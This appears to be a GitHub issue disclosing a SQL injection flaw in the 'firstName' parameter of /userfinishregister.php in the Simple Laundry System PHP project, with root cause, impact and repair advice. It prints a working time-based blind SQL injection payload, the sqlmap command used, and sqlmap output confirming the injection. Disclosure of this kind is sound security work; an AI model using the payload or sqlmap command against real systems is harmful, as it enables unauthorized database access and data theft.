

yao536 / cve Public

[Code](#) [Issues 2](#) [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#)

New issue



# code-projects Simple Laundry System Project V1.0 /userfinishregister.php SQL injection #2

Open

zzb1388 opened 2 weeks ago



## code-projects Simple Laundry System Project V1.0 /userfinishregister.php SQL injection

### NAME OF AFFECTED PRODUCT(S)

- Simple Laundry System

### Vendor Homepage

- <https://code-projects.org/simple-laundry-system-in-php-with-source-code/>

### AFFECTED AND/OR FIXED VERSION(S)

#### submitter

- yao23333

#### Vulnerable File

- /userfinishregister.php

## VERSION(S)

---

- V1.0

## Software Link

---

- <https://code-projects.org/simple-laundry-system-in-php-with-source-code/>

## PROBLEM TYPE

---

### Vulnerability Type

---

- SQL injection

### Root Cause

---

- A SQL injection vulnerability was found in the '/userfinishregister.php' file of the 'Simple Laundry System' project. The reason for this issue is that attackers inject malicious code from the parameter 'firstName' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

### Impact

---

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

## DESCRIPTION

---

- During the security review of "Simple Laundry System", I discovered a critical SQL injection vulnerability in the "/userfinishregister.php" file. This vulnerability stems from insufficient user input validation of the 'firstName' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

## No login or authorization is required to exploit this vulnerability

---

# Vulnerability details and POC

## Vulnerability Ionameion:

- 'firstName' parameter

## Payload:

```
---
Parameter: firstName (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: firstName=11' AND (SELECT 9323 FROM (SELECT(SLEEP(5))))grLK) AND
'qyLO'='qyLO&lastName=111&gender=M&mobileNo=111&address=11&email=admin123@qq.com&userId=2222&
---
```



The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
python sqlmap.py -r 1.txt --batch --dbs
```



```
C:\Windows\System32\cmd.exe x + v
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] Y
[23:17:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:17:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one othe
r (potential) technique found
[23:18:13] [INFO] checking if the injection point on POST parameter 'firstName' is a false positive
POST parameter 'firstName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 81 HTTP(s) requests:
---
Parameter: firstName (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: firstName=11' AND (SELECT 9323 FROM (SELECT(SLEEP(5))))grLK) AND 'qyLO'='qyLO&lastName=111&gender=M&mobileNo
=111&address=11&email=admin123@qq.com&userId=2222&password=admin123@qq.com&rePassword=admin123@qq.com&userRegisterSubmit
=Submit
---
[23:18:34] [INFO] the back-end DBMS is MySQL
[23:18:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr
event potential disruptions
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[23:18:40] [INFO] fetching database names
[23:18:40] [INFO] fetching number of databases
[23:18:40] [INFO] retrieved:

[*] ending @ 23:18:46 /2026-03-08/

E:\sqlmap-master>
```

# Suggested repair

- 1. Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
- 2. Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format.
- 3. Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin ') for daily operations.
- 4. Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[Sign up for free](#) to join this conversation on **GitHub**. Already have an account? [Sign in to comment](#)

## Metadata

### Assignees

No one assigned

### Labels

No labels

### Projects

No projects


### Milestone

No milestone

### Relationships

None yet

### Development

 Code with agent mode

No branches or pull requests

### Participants

